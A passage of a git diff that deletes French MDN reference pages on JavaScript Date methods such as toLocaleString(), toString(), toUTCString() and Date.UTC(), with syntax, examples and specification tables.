-alert(date.toLocaleDateString("en-US", options));
-// → "Thursday, December 20, 2012, GMT"
-
- -

Performance

- -

Lorsque des grands nombres ou de grandes dates sont formatés, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie par sa propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', 'sec-15.9.5.6', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.3.2', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES Int 1.0')}}Définition des arguments locales et options.
{{SpecName('ES Int 2.0', '#sec-13.3.2', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleDateString', 'Date.prototype.toLocaleDateString')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toLocaleDateString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tolocalestring/index.html deleted file mode 100644 index 7ff28d169a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/tolocalestring/index.html +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: Date.prototype.toLocaleString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleString -tags: - - Date - - Internationalisation - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString ---- -
{{JSRef}}
- -

La méthode toLocaleString() renvoie une chaine de caractères représentant la date selon une locale. Les arguments locales et options permettent aux applications de définir le langage à utiliser pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.

- -
{{EmbedInteractiveExample("pages/js/date-tolocalestring.html")}}
- - - -

Syntaxe

- -
dateObj.toLocaleString([locales [, options]])
- -

Paramètres

- -

Voir le tableau de compatibilité des navigateurs afin de déterminer quels navigateurs respectent les arguments locales et options ainsi que l'exemple Vérifier le support des arguments locales et options qui permet de détecter cette fonctionnalité.

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat','Paramètres')}}

- -

La valeur par défaut de chacun des composants de la date-heure vaut {{jsxref("undefined")}}, mais si les propriétés weekday, year, month, day, hour, minute, second sont toutes {{jsxref("undefined")}},  alors  weekday, year, month, day, hour, minute et second sont supposés être "numeric".

- -

Valeur de retour

- -

Une chaîne de caractères représentant la date indiquée selon des conventions de locales spécifiques.

- -

Exemples

- -

Utiliser toLocaleString()

- -

Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.

- -
var date = new Date(Date.UTC(2014, 11, 21, 3, 0, 0));
-
-// toLocaleString() sans argument, on utilise donc
-// les valeurs par défaut (de l'implémentation)
-// pour la locale, et le fuseau horaire
-date.toLocaleString();
-// → "21/12/2014 04:00:00" si exécuté dans une locale fr et le fuseau horaire CEST
- -

Vérifier le support des arguments locales et options

- -

Les arguments locales et options ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception {{jsxref("RangeError")}} :

- -
function toLocaleStringSupportsLocales() {
-    try {
-        new Date().toLocaleString("i");
-    } catch (e) {
-        return e​ instanceof RangeError;
-    }
-    return false;
-}
-
- -

Utiliser locales

- -

Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// les formats qui suivent se basent sur le
-// fuseau horaire CEST
-
-l'anglais américain utilise l'ordre mois-jour-année
-console.log(date.toLocaleString("en-US"));
-// → "12/20/2012, 4:00:00 AM"
-
-// l'anglais britannique utilise l'ordre jour-mois-année
-console.log(date.toLocaleString("en-GB"));
-// → "20/12/2012 04:00:00"
-
-// le coréen utilise l'ordre année-mois-jour
-console.log(date.toLocaleString("ko-KR"));
-// → "2012. 12. 20. 오전 4:00:00"
-
-// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
-console.log(date.toLocaleString("ar-EG"));
-// → "٢٠‏/١٢‏/٢٠١٢ ٤:٠٠:٠٠ ص"
-
-// en ce qui concerne le japonais, les applications peuvent
-// souhaiter utiliser le calendrier japonais
-// pour lequel 2012 était l'année 24 de l'ère Heisei
-console.log(date.toLocaleString("ja-JP-u-ca-japanese"));
-// → "24/12/20 4:00:00"
-
-// quand un langage non support est demandé (ex : le balinais)
-// il est possible de fournir un langage de recours (ici l'indonésien)
-console.log(date.toLocaleString(["ban", "id"]));
-// → "20/12/2012 04.00.00"
-
- -

Utiliser options

- -

Les résultats fournis par toLocaleString() peuvent être personnalisés grâce à l'argument options :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// obtenir le jour de la semaine avec une date longue
-var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
-console.log(date.toLocaleString("de-DE", options));
-// → "Donnerstag, 20. Dezember 2012"
-
-// une application peut vouloir utiliser UTC et le rendre visible
-options.timeZone = "UTC";
-options.timeZoneName = "short";
-console.log(date.toLocaleString("en-US", options));
-// → "Thursday, December 20, 2012, GMT"
-
-// parfois, même les USA ont besoin d'avoir une heure sur 24h
-console.log(date.toLocaleString("en-US", {hour12: false}));
-// → "12/19/2012, 19:00:00"
-
- -

Comparaison des dates formatées et des valeurs statiques

- -

La plupart du temps, le format renvoyé par toLocaleString() est cohérent. Toutefois, cela peut évoluer à l'avenir et n'est pas garanti pour l'ensemble des langues (de telles variations sont souhaitables et permises par la spécification). Ainsi, IE et Edge ajoutent des caractères de contrôle bidirectionnels autour des dates afin que le texte produit ait une directionalité cohérente avec le texte avec lequel elles seront concaténées.

- -

Aussi, mieux vaut ne pas comparer un résultat fourni par format() avec une valeur statique :

- -
"1.1.2019, 01:00:00" === new Date("2019-01-01T00:00:00.000000Z").toLocaleString();
-// true pour Firefox et les autres
-// false pour IE et Edge
-
- -
-

Note : Voir aussi ce fil StackOverflow pour plus de détails et d'exemples.

-
- -

Performance

- -

Quand vous formatez d'importants volumes de dates, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie via la propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.5', 'Date.prototype.toLocaleString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}{{Spec2('ESDraft')}}
{{SpecName('ES Int 1.0', '#sec-13.3.1', 'Date.prototype.toLocaleString')}}{{Spec2('ES Int 1.0')}}Définition des arguments locales et options.
{{SpecName('ES Int 2.0', '#sec-13.3.1', 'Date.prototype.toLocaleString')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleString', 'Date.prototype.toLocaleString')}}{{Spec2('ES Int Draft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toLocaleString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • -
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tolocaletimestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tolocaletimestring/index.html deleted file mode 100644 index c0c6c93020..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/tolocaletimestring/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Date.prototype.toLocaleTimeString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleTimeString -tags: - - Date - - Internationalisation - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString ---- -
{{JSRef}}
- -

La méthode toLocaleTimeString() renvoie une chaine de caractères correspondant à l'heure dans la date, exprimée selon une locale. Les arguments locales et options permettent aux applications de définir le langage utilisé pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.

- -
{{EmbedInteractiveExample("pages/js/date-tolocaletimestring.html")}}
- - - -

Syntaxe

- -
dateObj.toLocaleTimeString([locales [, options]])
- -

Paramètres

- -

Voir le tableau de compatibilité des navigateurs afin de déterminer quels navigateurs respectent les arguments locales et options ainsi que l'exemple Vérifier le support des arguments locales et options qui permet de détecter cette fonctionnalité.

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat','Param.C3.A8tres')}}

- -

La valeur par défaut de chacun des composants de la date vaut {{jsxref("undefined")}}, si les propriétés hour, minute, second sont toutes undefined, on suppose alors que hour, minute, et second sont "numeric".

- -

Valeur de retour

- -

Une chaîne de caractères qui représente l'heure de la date indiquée selon des conventions de locales spécifiques.

- -

Exemples

- -

Utiliser toLocaleTimeString()

- -

Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.

- -
var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
-
-// toLocaleTimeString() sans argument, on utilise donc
-// les valeurs par défaut (de l'implémentation)
-// pour la locale, et le fuseau horaire
-console.log(date.toLocaleTimeString());
-// → "04:00:00" si exécuté dans une locale fr et le fuseau horaire CEST
- -

Vérifier le support des arguments locales et options

- -

Les arguments locales et options ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception RangeError :

- -
function toLocaleTimeStringSupportsLocales() {
-    try {
-        new Date().toLocaleTimeString("i");
-    } catch (e) {
-        return e​.name === "RangeError";
-    }
-    return false;
-}
-
- -

Utiliser locales

- -

Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// les formats qui suivent se basent sur le
-// fuseau horaire CEST
-
-// l'anglais américain utilise une heure sur 12h avec AM/PM
-console.log(date.toLocaleTimeString("en-US"));
-// → "4:00:00 AM"
-
-// l'anglais britanique utilise une heure sur 24h
-console.log(date.toLocaleTimeString("en-GB"));
-// → "04:00:00"
-
-// le coréen  utilise une heure sur 12h avec AM/PM
-console.log(date.toLocaleTimeString("ko-KR"));
-// → "오전 4:00:00"
-
-/ l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
-console.log(date.toLocaleTimeString("ar-EG"));
-// → "٤:٠٠:٠٠ ص"
-
-// quand un langage non support est demandé (ex : le balinais)
-// il est possible de fournir un langage de recours (ici l'indonésien)
-console.log(date.toLocaleTimeString(["ban", "id"]));
-// → "4.00.00"
-
- -

Utiliser options

- -

Les résultats fournis par toLocaleTimeString() peuvent être personnalisés grâce à l'argument options :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// une application peut vouloir utiliser UTC et le montrer
-var options = {timeZone: "UTC", timeZoneName: "short"};
-console.log(date.toLocaleTimeString("en-US", options));
-// → "3:00:00 AM GMT"
-
-// parfois, même les USA ont besoin du format sur 24h
-console.log(date.toLocaleTimeString("en-US", {hour12: false}));
-// → "19:00:00"
-
- -

Performance

- -

Pour formater de nombreuses dates, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie par sa propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.7', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int 1.0', '#sec-13.3.3', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES Int 1.0')}}Définition des arguments locales et options.
{{SpecName('ES Int 2.0', '#sec-13.3.3', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleTimeString', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toLocaleTimeString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • -
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Date.prototype.toTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tosource/index.html deleted file mode 100644 index 9f153778cb..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/tosource/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Date.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toSource -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource ---- -
{{JSRef}} {{Non-standard_header}}
- -

La méthode toSource() renvoie une chaîne de caractères représentant le code source de l'objet.

- -

Syntaxe

- -
dateObj.toSource()
-Date.toSource()
- -

Valeur de retour

- -

Une chaîne de caractères représentant le code source de l'objet date indiqué.

- -

Description

- -

La méthode toSource() renvoie les valeur suivantes :

- -
    -
  • Pour l'objet natif {{jsxref("Date")}}, toSource() renvoie la chaîne de caractères suivante, indiquant que le code source n'est pas disponible :
    • -
- -
function Date() {
-    [native code]
-}
- -
    -
  • Pour les instances de {{jsxref("Date")}}, toSource() renvoie une chaîne de caractères représentant le code source.
    • -
- -

Cette méthode est habituellement appelée en interne par le moteur JavaScript et non explicitement dans le code d'un script.

- -

Spécifications

- -

Ne fait partie d'aucune spécification. Implémentée dans JavaScript 1.3.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toSource")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tostring/index.html deleted file mode 100644 index 82fd8dfb5e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/tostring/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Date.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toString -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}}.

- -
{{EmbedInteractiveExample("pages/js/date-tostring.html")}}
- - - -

Syntaxe

- -
dateObj.toString()
- -

Valeur de retour

- -

Une chaîne de caractères représentant la date indiquée.

- -

Description

- -

L'objet {{jsxref("Date")}} remplace la méthode toString() de l'objet {{jsxref("Object")}} ; il n'hérite pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets {{jsxref("Date")}}, la méthode toString() renvoie une représentation textuelle de l'objet.

- -

La méthode toString() renvoie toujours une chaîne de caractères représentant une date en anglais américain. Ce format a été standardisé avec ES2018 et peut être décrit de la façon suivante :

- -
    -
  • Le jour de la semaine avec les trois premières lettres du jour en anglais (ex. « Sat »)
    • -
  • Un espace
    • -
  • Le mois avec les trois premières lettres du mois en anglais (ex. « Sep »)
    • -
  • Un espace
    • -
  • La date du jour dans le mois sur deux chiffres (ex. « 01 »)
    • -
  • Un espace
    • -
  • L'année sur 4 chiffres (ex. « 2018 »)
    • -
  • Un espace
    • -
  • L'heure sur deux chiffres (ex. « 14 »)
    • -
  • Un deux-points (:)
    • -
  • Les minutes sur deux chiffres (ex. « 53 »)
    • -
  • Un deux-points (:)
    • -
  • Les secondes sur deux chiffres (ex. « 26 »)
    • -
  • Un espace
    • -
  • La chaîne de caractères « GMT »
    • -
  • Le signe du décalage horaire par rapport à GMT : -
      -
    • La chaîne "+" pour les décalages positifs (0 ou plus)
      • -
    • La chaîne "-" pour les décalages strictement négatifs
      • -
    -
    • -
  • L'heure de décalage sur deux chiffres
    • -
  • Les minutes de décalage sur deux chiffres
    • -
  • Et, éventuellement, le nom du fuseau horaire avec -
      -
    • Un espace
      • -
    • Une parenthèse ouvrante (« ( »)
      • -
    • Une chaîne de caractères, pouvant varier selon l'implémentation, qui désigne le fuseau horaire. Ce peut être une abréviation ou un nom complet.
      • -
    • Une parenthèse fermante (« ) »)
      • -
    -
    • -
- -

Avant ES2018, le format de la chaîne de caractères renvoyé pouvait varier selon l'implémentation.

- -

JavaScript appelle la méthode toString() automatiquement quand une date doit être representée sous forme d'un texte ou quand une date est référencée lors d'une concatenation de chaînes de caractères.

- -

toString() est une méthode générique. Si this n'est pas une instance de {{jsxref("Date")}}, elle renverra "Invalid Date".

- -

Exemples

- -

Utiliser toString()

- -

L'exemple suivant assigne la valeur de toString() de l'objet Date à maVar :

- -
var x = new Date();
-var maVar = x.toString(); // assigne une valeur à maVar similaire à :
-// Mon Sep 28 1998 14:36:22 GMT-0700 (PDT)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.2', 'Date.prototype.toLocaleTimeString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ES2018', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}{{Spec2('ES2018')}}Standardisation du format produit par Date.prototype.toString()
{{SpecName('ESDraft', '#sec-date.prototype.tostring', 'Date.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
  • {{jsxref("Date.prototype.toDateString()")}}
    • -
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Date.prototype.toTimeString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/totimestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/totimestring/index.html deleted file mode 100644 index fb27f7003d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/totimestring/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Date.prototype.toTimeString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toTimeString -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toTimeString ---- -
{{JSRef}}
- -

La méthode toTimeString()renvoie la partie « heure » de l'objet Date dans un format lisible par un humain, en anglais américain.

- -
{{EmbedInteractiveExample("pages/js/date-totimestring.html")}}
- - - -

Syntaxe

- -
dateObj.toTimeString()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente l'heure de la date indiquée dans un format anglais américain.

- -

Description

- -

Une instance de {{jsxref("Date")}} représente un instant précis dans le temps. Appeler {{jsxref("Date.toString", "toString()")}} renverra la date formatée de façon à être lisible par un humain, en anglais américain. Pour le moteur JavaScript SpiderMonkey, ceci consiste en la partie « date » (jour, mois, année) suivie de la partie « heure » (heures, minutes, secondes, et fuseau horaire). Parfois, il est préférable d'obtenir seulement la partie « heure » ; c'est ce que renvoie la méthode toTimeString().

- -

La méthode toTimeString() est particulièrement utile parce que les moteurs implémentant ECMA-262 peuvent obtenir des résultats différents avec la méthode {{jsxref("Date.prototype.toString()", "toString()")}} (en effet, le format dépend de l'implémentation). Ceci peut empêcher les manipulations de textes simples d'avoir des résultats cohérents au sein des différents moteurs/navigateurs.

- -

Exemple

- -

Utiliser toTimeString()

- -
var d = new Date(1993, 6, 28, 14, 39, 7);
-
-console.log(d.toString());     // Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
-console.log(d.toTimeString()); // 14:39:07 GMT-0600 (PDT)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.9.5.4', 'Date.prototype.toTimeString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.totimestring', 'Date.prototype.toTimeString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toTimeString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • -
  • {{jsxref("Date.prototype.toDateString()")}}
    • -
  • {{jsxref("Date.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/toutcstring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/toutcstring/index.html deleted file mode 100644 index d22f0d3346..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/toutcstring/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Date.prototype.toUTCString() -slug: Web/JavaScript/Reference/Objets_globaux/Date/toUTCString -tags: - - Date - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString ---- -
{{JSRef}}
- -

La méthode toUTCString() convertit une date en une chaîne de caractères, selon le fuseau horaire UTC.

- -
{{EmbedInteractiveExample("pages/js/date-toutcstring.html")}}
- - - -

Syntaxe

- -
dateObj.toUTCString()
- -

Valeur de retour

- -

Une chaîne de caractères représentant la date indiquée selon le fuseau horaire UTC.

- -

Description

- -

La valeur renvoyée par toUTCString() est un texte au même format que celui renvoyé {{jsxref("Date.prototype.toString()")}} mais sans décalage de fuseau horaire (en UTC).

- -

Avant ECMAScript 2018, le format de la valeur renvoyée pouvait varier selon les plateformes. La valeur la plus couramment renvoyée était une date formatée selon la RFC 1123, qui est une version mise à jour de la RFC 822.

- -

Exemples

- -

Utiliser toUTCString()

- -
var aujourdhui = new Date();
-var UTCstring = aujourdhui.toUTCString();
-// Mon, 03 Jul 2006 21:44:38 GMT
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3. Le format dépend de l'implémentation.
{{SpecName('ES5.1', '#sec-15.9.5.42', 'Date.prototype.toUTCString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}{{Spec2('ES6')}} 
{{SpecName('ES2018', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}{{Spec2('ES2018')}}Première standardisation du format
{{SpecName('ESDraft', '#sec-date.prototype.toutcstring', 'Date.prototype.toUTCString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.toUTCString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Date.prototype.toDateString()")}}
    • -
  • {{jsxref("Date.prototype.toISOString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/utc/index.html b/files/fr/web/javascript/reference/objets_globaux/date/utc/index.html deleted file mode 100644 index 71bbe40f62..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/utc/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: Date.UTC() -slug: Web/JavaScript/Reference/Objets_globaux/Date/UTC -tags: - - Date - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC ---- -
{{JSRef}}
- -

La méthode Date.UTC() accepte des paramètres similaires à ceux du constructeur {{jsxref("Date")}} et renvoie le nombre de millièmes de seconde depuis le 1er janvier 1970, 00:00:00, temps universel. Autrement dit, elle renvoie la date en UTC.

- -
{{EmbedInteractiveExample("pages/js/date-utc.html")}}
- - - -

Syntaxe

- -
Date.UTC(année[,mois[,jour[,heures[,minutes[,secondes[,ms]]]]]])
- -

Paramètres

- -
-
année
-
Une année sur deux chiffres pour une année après 1900 (ex. 98 pour 1998) ou bien une année sur quatre chiffres (2018).
-
mois{{optional_inline}}
-
-

Un entier entre 0 (janvier) et 11 (décembre) représentant le mois.

- -

Note : Cet argument est optionnel depuis ECMAScript 2017.

-
-
jour{{optional_inline}}
-
Un entier entre 1 et 31 représentant le jour du mois. La valeur par défaut vaut 1.
-
heures{{optional_inline}}
-
Paramètre optionnel, un entier entre 0 et 23 représentant les heures. La valeur par défaut vaut 0.
-
minutes{{optional_inline}}
-
Paramètre optionnel, un entier entre 0 et 59 représentant les minutes. La valeur par défaut vaut 0.
-
secondes{{optional_inline}}
-
Paramètre optionnel, un entier entre 0 et 59 représentant les secondes. La valeur par défaut vaut 0.
-
ms{{optional_inline}}
-
Paramètre optionnel, un entier entre 0 et 999 représentant les millièmes de seconde. La valeur par défaut vaut 0.
-
- -

Valeur de retour

- -

Un nombre représentant le nombre de millisecondes écoulées entre la date indiquée et le premier janvier 1970 à minuit UTC.

- -

Description

- -

La méthode UTC prend des paramètres de date et d'heure séparés par des virgules et renvoie le nombre de millièmes de seconde entre le 1er janvier 1970, 00:00:00, temps universel et la date et l'heure spécifiées.

- -

Il faut spécifier l'année entière pour le premier paramètre ; par exemple 1998. Si l'année spécifiée est entre 0 et 99, la méthode la convertira en une année du XXe siècle (1900 + année) ; par exemple si vous indiquez 95, l'année 1995 sera utilisée.

- -

La méthode UTC diffère du constructeur {{jsxref("Date")}} pour deux raisons :

- -
    -
  • Date.UTC utilise le temps universel plutôt que l'heure locale.
    • -
  • Date.UTC renvoie une valeur temporelle sous la forme d'un nombre plutôt que de créer un objet Date.
    • -
- -

Si un paramètre spécifié est en dehors des limites attendues, la méthode UTC met à jour les autres paramètres pour s'adapter à ce nombre. Par exemple, si vous utilisez 15 pour le mois, l'année sera incrémentée d'une unité (année + 1), et la valeur 3 (avril) sera utilisée pour le mois.

- -

Comme UTC est une méthode statique de Date, on l'utilise toujours sous la forme Date.UTC() plutôt que comme une méthode d'un objet Date que vous auriez créé.

- -

Exemples

- -

Utiliser Date.UTC()

- -

L'instruction qui suit crée un objet Date en utilisant l'heure UTC plutôt que l'heure locale :

- -
var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}{{Spec2('ESDraft')}}Le paramètre pour le mois est devenu optionnel avec ES2017.
{{SpecName('ES6', '#sec-date.utc', 'Date.UTC')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-15.9.4.3', 'Date.UTC')}}{{Spec2('ES5.1')}}
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.UTC")}}

- -

Notes de compatibilité

- -

Utiliser Date.UTC avec moins de deux arguments

- -

